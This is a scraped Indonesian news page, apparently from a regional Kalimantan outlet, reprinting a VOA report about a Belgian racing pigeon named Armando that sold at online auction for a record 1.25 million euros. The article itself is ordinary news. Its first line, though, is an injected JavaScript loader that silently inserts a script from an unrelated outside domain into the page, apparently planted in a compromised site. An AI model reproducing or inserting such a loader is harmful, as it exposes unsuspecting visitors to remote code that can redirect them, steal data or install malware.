(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
VOA

Merpati Balap Belgia Terjual Harga Rekor Rp 20,1 Miliar


BRUSSELS, Seekor merpati balap bernama Armando, baru saja mencetak rekor karena berhasil terjual dalam pelelangan online seharga 1,25 juta Euro (Rp 20,1 miliar), kantor berita AFP mengutip media Belgia, Minggu (17/3).

Armando tercatat sebagai merpati pembalap jarak jauh terbaik di Belgia sepanjang masa setidaknya bagi yang mengetahui. Merpati bintang balap itu dibeli oleh seorang pembeli asal China dengan harga yang bisa membuat para para peternak berjingkrak kegirangan.

Armando memang diperkirakan akan memecahkan rekor sebelumnya yang dipegang oleh seekor merpati bernama Nadine, yang dijual seharga 376.000 euro (Rp 6 miliar).Tapi tidak dengan margin yang begitu jauh.

“Awal minggu ini menjadi jelas bahwa Armandio akan menjadi merpati termahal yang pernah dijual dalam lelang online,” tulis situs web Pigeon Paradise (Pipa.be).

“Meski begitu, tidak ada yang tahu bahwa harga jutaan euro itu suatu saat nanti mungkin bisa dipecahkan rekornya,” tambah situs tersebut. Harga akhir yang dicapai adalah 1.25 juta Euro atau setara dengan Rp 20,19 miliar.

Pigeon Paradise tidak memberitahu identitas pembeli Armando, namun menurut Belga, kantor berita Belgia, pembelinya berasal dari China yang tak diragukan lagi akan menggunakan Armando untuk menternakkan merpati-merpati balap unggulan.

Armando hanyalah satu dari seratus burung yang dijual oleh peternak Belgia ternama, Joel Verschoot.

Kandang merpati Verschoot bermarkas di Ingelmunster di barat Belgia. Situs lelang online merpati miliknya telah dibuka selama beberapa minggu.

Hingga Minggu (17/3), keluarga itu telah menjual 178 merpati dengan total pendapatan sekitar dua juta euro (Rp 32,3 miliar).

Merpati pos itu diuji dalam balapan dengan melepaskan mereka ratusan kilometer dari rumah. Pemenang adalah merpati pertama yang kembali ke rumah.

Balapan merpati adalah tradisi di Belgia, Inggris, Perancis Utara dan Belanda, meskipun kini tradisi itu sudah mulai luntur.

Namun minat dari pembeli Asia dalam beberapa tahun terakhir telah memberikan angin segar dalam industri penjualan merpati balap tersebut. (er/ft/kk/voa)

Reporter:er/ft/kk/voa
Editor:KK

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.